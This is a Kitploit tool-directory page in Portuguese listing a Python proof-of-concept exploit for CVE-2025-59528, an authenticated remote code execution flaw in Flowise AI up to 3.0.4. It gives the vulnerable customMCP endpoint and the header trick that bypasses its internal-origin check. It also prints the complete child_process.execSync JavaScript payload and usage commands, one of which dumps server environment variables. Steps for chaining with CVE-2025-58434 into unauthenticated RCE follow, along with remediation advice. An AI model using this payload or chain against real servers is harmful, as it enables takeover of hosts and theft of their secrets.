Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Flowise-RCE-CVE-2025-59528 — PoC de exploit em Python para CVE-2025-59528, alcançando RCE autenticado no Flowise AI <= 3.0.4 através do endpoint customMCP e do child_process.execSync do Node.js. | Kitploit
Ferramentas/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

PoC de exploit em Python para CVE-2025-59528, alcançando RCE autenticado no Flowise AI <= 3.0.4 através do endpoint customMCP e do child_process.execSync do Node.js.

Ver Repositório
11há 5h 9mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-59528 — Execução Remota de Código (RCE) Autenticada no Flowise AI

Visão Geral

ID CVE: CVE-2025-59528
Software Afetado: Flowise AI
Versões Vulneráveis: <= 3.0.4
Versão Corrigida: 3.0.5 e posteriores
Severidade: Crítica
Autor: arensballiu
Data: 2025

Descrição

As versões do Flowise AI até 3.0.4, inclusive, permitem que um usuário autenticado alcance Execução Remota de Código (RCE) no servidor host ao enviar um payload JavaScript elaborado para o endpoint /api/v1/node-load-method/customMCP.

O método de carregamento do nó customMCP aceita entrada controlada pelo usuário que é avaliada no lado do servidor como JavaScript, sem sanitização ou sandboxing adequados. Ao injetar um payload que utiliza o child_process.execSync do Node.js, um atacante pode executar comandos arbitrários do sistema operacional com os privilégios do processo do servidor Flowise.

O endpoint também exige que o cabeçalho esteja presente.

x-request-from: internal

Endpoint Afetado

EndpointMétodoAutenticação NecessáriaPropósito
/api/v1/auth/loginPOSTNãoAutenticar e obter sessão
/api/v1/node-load-method/customMCPPOSTSim (cookie de sessão)Endpoint vulnerável do método de carregamento de nó

Prova de Conceito

Arquivo: CVE-2025-59528_POC.py

Requisitos

  • Python 3.x
  • Biblioteca requests
  • Credenciais válidas para qualquer conta de usuário na instância Flowise alvo
root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

Argumentos

FlagForma LongaObrigatórioDescrição
-e--emailSimEndereço de e-mail do usuário autenticado
-i--urlSimURL base da instância Flowise
-p--passwordSimSenha do usuário autenticado
-c--cmdSimComando do SO a ser executado no servidor

Exemplos

Verificar execução de código:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

Recuperar variáveis de ambiente do servidor:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

Saída Esperada

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

Detalhamento do Payload

O exploit injeta a seguinte expressão JavaScript no campo mcpServerConfig:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — carrega o módulo interno de execução de processos do Node.js.
  • execSync('<command>') — executa de forma síncrona o comando do SO fornecido pelo atacante.
  • A expressão inteira é envolvida em um objeto literal para garantir que seja avaliada corretamente dentro do contexto JavaScript do servidor.

O cabeçalho x-request-from: internal também é anexado à requisição para passar por uma verificação de origem interna que, de outra forma, bloquearia a chamada.

Causa Raiz

O endpoint customMCP passa a entrada fornecida pelo usuário diretamente para um contexto de avaliação JavaScript no servidor sem sanitização ou sandboxing. Combinado com o acesso irrestrito aos módulos principais do Node.js (especificamente child_process) via process.mainModule.require, isso cria um vetor de RCE trivialmente explorável. A verificação do cabeçalho x-request-from não fornece nenhuma barreira de segurança significativa, pois não é validada contra nenhuma fonte confiável.

Encadeamento com CVE-2025-58434

Essas duas vulnerabilidades podem ser encadeadas para um caminho de ataque de RCE não autenticado contra instâncias do Flowise executando versões <= 3.0.4:

  1. Use CVE-2025-58434 para redefinir a senha de qualquer conta conhecida (nenhuma autenticação prévia necessária).
  2. Faça login com as credenciais recém-definidas.
  3. Use CVE-2025-59528 para executar comandos arbitrários do SO no servidor.

Remediação

  • Atualize para o Flowise AI 3.0.5 ou posterior, que remove ou aplica sandbox adequadamente ao caminho de avaliação vulnerável.
  • Nunca avalie strings controladas pelo usuário como código em um contexto do lado do servidor.
  • Restrinja o acesso a módulos perigosos do Node.js (child_process, fs, etc.) por meio de um sandbox adequado (por exemplo, vm2, contextos isolados ou removendo o acesso a process.mainModule).
  • Valide e autentique o cabeçalho x-request-from por meio de um mecanismo do lado do servidor, em vez de uma simples verificação de string.
  • Aplique o princípio do menor privilégio ao processo do servidor Flowise.

Aviso Legal

Esta prova de conceito é fornecida apenas para fins educacionais e de pesquisa de segurança autorizada. O uso deste script contra sistemas sem permissão escrita explícita é ilegal e antiético. O autor e os contribuidores não assumem nenhuma responsabilidade pelo uso indevido.

Baixar ferramenta